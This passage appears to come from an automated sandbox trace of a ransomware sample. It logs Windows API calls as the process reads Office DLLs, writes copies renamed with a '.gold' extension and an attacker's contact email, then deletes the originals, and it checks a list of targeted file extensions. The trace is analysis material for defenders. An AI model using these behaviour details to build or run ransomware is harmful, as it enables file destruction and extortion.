lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0x3dc0, lpOverlapped=0x0) returned 1 [0052.455] ReadFile (in: hFile=0x200, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0052.455] WriteFile (in: hFile=0x1a0, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.455] SetEndOfFile (hFile=0x1a0) returned 1 [0052.455] CloseHandle (hObject=0x1a0) returned 1 [0052.455] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0052.456] SetEndOfFile (hFile=0x200) returned 1 [0052.456] CloseHandle (hObject=0x200) returned 1 [0052.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.456] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll")) returned 1 [0052.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0052.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0052.457] lstrlenW (lpString=".doc") returned 4 [0052.457] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.457] lstrlenW (lpString=".docx") returned 5 [0052.457] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0052.457] lstrlenW (lpString=".pdf") returned 4 [0052.457] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.457] lstrlenW (lpString=".xls") returned 4 [0052.457] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.457] lstrlenW (lpString=".xlsx") returned 5 [0052.457] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0052.457] lstrlenW (lpString=".ppt") returned 4 [0052.457] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0052.457] lstrlenW (lpString=".zip") returned 4 [0052.457] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.457] lstrlenW (lpString=".rar") returned 4 [0052.457] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.457] lstrlenW (lpString=".bz2") returned 4 [0052.457] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.457] lstrlenW (lpString=".7z") returned 3 [0052.457] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0052.457] lstrlenW (lpString=".dbf") returned 4 [0052.457] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0052.457] lstrlenW (lpString=".1cd") returned 4 [0052.457] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0052.457] lstrlenW (lpString=".jpg") returned 4 [0052.457] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0052.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0052.458] lstrlenW (lpString=".doc") returned 4 [0052.458] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.458] lstrlenW (lpString=".docx") returned 5 [0052.458] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0052.458] lstrlenW (lpString=".pdf") returned 4 [0052.458] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.458] lstrlenW (lpString=".xls") returned 4 [0052.458] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.458] lstrlenW (lpString=".xlsx") returned 5 [0052.458] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0052.458] lstrlenW (lpString=".ppt") returned 4 [0052.458] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0052.458] lstrlenW (lpString=".zip") returned 4 [0052.458] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.458] lstrlenW (lpString=".rar") returned 4 [0052.458] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.458] lstrlenW (lpString=".bz2") returned 4 [0052.458] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.458] lstrlenW (lpString=".7z") returned 3 [0052.458] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0052.458] lstrlenW (lpString=".dbf") returned 4 [0052.458] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0052.458] lstrlenW (lpString=".1cd") returned 4 [0052.458] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0052.458] lstrlenW (lpString=".jpg") returned 4 [0052.458] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.458] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0052.458] lstrlenW (lpString="ACEOLEDB.DLL") returned 12 [0052.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.459] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=537504) returned 1 [0052.459] CloseHandle (hObject=0x200) returned 1 [0052.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll")) returned 0x20 [0052.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.459] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.459] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0052.459] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0052.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0052.460] GetLastError () returned 0x0 [0052.460] ReadFile (in: hFile=0x200, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x833a0, lpOverlapped=0x0) returned 1 [0052.474] WriteFile (in: hFile=0x1a0, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0x833b0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0x833b0, lpOverlapped=0x0) returned 1 [0052.482] ReadFile (in: hFile=0x200, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0052.482] WriteFile (in: hFile=0x1a0, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.482] SetEndOfFile (hFile=0x1a0) returned 1 [0052.482] CloseHandle (hObject=0x1a0) returned 1 [0052.482] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0052.482] SetEndOfFile (hFile=0x200) returned 1 [0052.486] CloseHandle (hObject=0x200) returned 1 [0052.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.486] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll")) returned 1 [0052.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0052.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0052.487] lstrlenW (lpString=".doc") returned 4 [0052.487] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.487] lstrlenW (lpString=".docx") returned 5 [0052.487] lstrcmpiW (lpString1=".docx", lpString2="B.DLL") returned -1 [0052.487] lstrlenW (lpString=".pdf") returned 4 [0052.487] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.487] lstrlenW (lpString=".xls") returned 4 [0052.487] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.487] lstrlenW (lpString=".xlsx") returned 5 [0052.487] lstrcmpiW (lpString1=".xlsx", lpString2="B.DLL") returned -1 [0052.487] lstrlenW (lpString=".ppt") returned 4 [0052.487] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0052.487] lstrlenW (lpString=".zip") returned 4 [0052.487] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.487] lstrlenW (lpString=".rar") returned 4 [0052.487] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.487] lstrlenW (lpString=".bz2") returned 4 [0052.487] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.487] lstrlenW (lpString=".7z") returned 3 [0052.487] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0052.487] lstrlenW (lpString=".dbf") returned 4 [0052.487] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0052.487] lstrlenW (lpString=".1cd") returned 4 [0052.487] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0052.487] lstrlenW (lpString=".jpg") returned 4 [0052.487] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0052.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0052.487] lstrlenW (lpString=".doc") returned 4 [0052.487] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.487] lstrlenW (lpString=".docx") returned 5 [0052.487] lstrcmpiW (lpString1=".docx", lpString2="B.DLL") returned -1 [0052.487] lstrlenW (lpString=".pdf") returned 4 [0052.487] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.487] lstrlenW (lpString=".xls") returned 4 [0052.487] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.487] lstrlenW (lpString=".xlsx") returned 5 [0052.487] lstrcmpiW (lpString1=".xlsx", lpString2="B.DLL") returned -1 [0052.488] lstrlenW (lpString=".ppt") returned 4 [0052.488] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0052.488] lstrlenW (lpString=".zip") returned 4 [0052.488] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.488] lstrlenW (lpString=".rar") returned 4 [0052.488] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.488] lstrlenW (lpString=".bz2") returned 4 [0052.488] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.488] lstrlenW (lpString=".7z") returned 3 [0052.488] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0052.488] lstrlenW (lpString=".dbf") returned 4 [0052.488] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0052.488] lstrlenW (lpString=".1cd") returned 4 [0052.488] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0052.488] lstrlenW (lpString=".jpg") returned 4 [0052.488] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.488] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0052.488] lstrlenW (lpString="ACER3X.DLL") returned 10 [0052.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.489] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=451480) returned 1 [0052.489] CloseHandle (hObject=0x200) returned 1 [0052.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll")) returned 0x20 [0052.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.489] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0052.489] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0052.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0052.748] GetLastError () returned 0x0 [0052.748] ReadFile (in: hFile=0x200, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x6e398, lpOverlapped=0x0) returned 1 [0052.790] WriteFile (in: hFile=0x208, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0x6e3a0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0x6e3a0, lpOverlapped=0x0) returned 1 [0052.795] ReadFile (in: hFile=0x200, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0052.795] WriteFile (in: hFile=0x208, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xe8, lpOverlapped=0x0) returned 1 [0052.795] SetEndOfFile (hFile=0x208) returned 1 [0052.796] CloseHandle (hObject=0x208) returned 1 [0052.796] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0052.796] SetEndOfFile (hFile=0x200) returned 1 [0052.799] CloseHandle (hObject=0x200) returned 1 [0052.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.800] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll")) returned 1 [0052.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0052.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0052.800] lstrlenW (lpString=".doc") returned 4 [0052.800] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.800] lstrlenW (lpString=".docx") returned 5 [0052.800] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0052.800] lstrlenW (lpString=".pdf") returned 4 [0052.800] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.800] lstrlenW (lpString=".xls") returned 4 [0052.800] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.800] lstrlenW (lpString=".xlsx") returned 5 [0052.800] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0052.800] lstrlenW (lpString=".ppt") returned 4 [0052.800] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0052.800] lstrlenW (lpString=".zip") returned 4 [0052.800] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.800] lstrlenW (lpString=".rar") returned 4 [0052.800] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.800] lstrlenW (lpString=".bz2") returned 4 [0052.800] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.800] lstrlenW (lpString=".7z") returned 3 [0052.800] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0052.800] lstrlenW (lpString=".dbf") returned 4 [0052.800] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0052.800] lstrlenW (lpString=".1cd") returned 4 [0052.800] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0052.800] lstrlenW (lpString=".jpg") returned 4 [0052.800] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0052.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0052.801] lstrlenW (lpString=".doc") returned 4 [0052.801] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.801] lstrlenW (lpString=".docx") returned 5 [0052.801] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0052.801] lstrlenW (lpString=".pdf") returned 4 [0052.801] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.801] lstrlenW (lpString=".xls") returned 4 [0052.801] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.801] lstrlenW (lpString=".xlsx") returned 5 [0052.801] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0052.801] lstrlenW (lpString=".ppt") returned 4 [0052.801] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0052.801] lstrlenW (lpString=".zip") returned 4 [0052.801] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.801] lstrlenW (lpString=".rar") returned 4 [0052.801] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.801] lstrlenW (lpString=".bz2") returned 4 [0052.801] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.801] lstrlenW (lpString=".7z") returned 3 [0052.801] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0052.801] lstrlenW (lpString=".dbf") returned 4 [0052.801] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0052.801] lstrlenW (lpString=".1cd") returned 4 [0052.801] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0052.801] lstrlenW (lpString=".jpg") returned 4 [0052.801] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.801] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0052.801] lstrlenW (lpString="ACEWSS.DLL") returned 10 [0052.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.802] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=318368) returned 1 [0052.802] CloseHandle (hObject=0x200) returned 1 [0052.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll")) returned 0x20 [0052.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.803] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0052.803] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0052.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0053.942] GetLastError () returned 0x0 [0053.942] ReadFile (in: hFile=0x200, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x4dba0, lpOverlapped=0x0) returned 1 [0053.949] WriteFile (in: hFile=0x184, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0x4dbb0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0x4dbb0, lpOverlapped=0x0) returned 1 [0053.955] ReadFile (in: hFile=0x200, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0053.955] WriteFile (in: hFile=0x184, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xe8, lpOverlapped=0x0) returned 1 [0053.955] SetEndOfFile (hFile=0x184) returned 1 [0053.955] CloseHandle (hObject=0x184) returned 1 [0053.956] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, 